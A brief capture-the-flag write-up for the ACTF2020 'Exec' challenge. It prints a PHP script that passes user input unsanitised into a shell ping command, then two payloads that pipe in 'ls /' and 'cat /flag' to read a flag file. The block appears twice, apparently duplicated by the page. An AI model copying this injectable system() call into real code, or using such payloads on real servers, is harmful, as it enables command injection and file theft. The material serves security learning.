[ACTF2020 新生赛]Exec
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>target=127.0.0.1 | ls /
target=127.0.0.1 | cat /flag最后更新于
<?php
if (isset($_POST['target'])) {
system("ping -c 3 ".$_POST['target']);
}
?>target=127.0.0.1 | ls /
target=127.0.0.1 | cat /flag最后更新于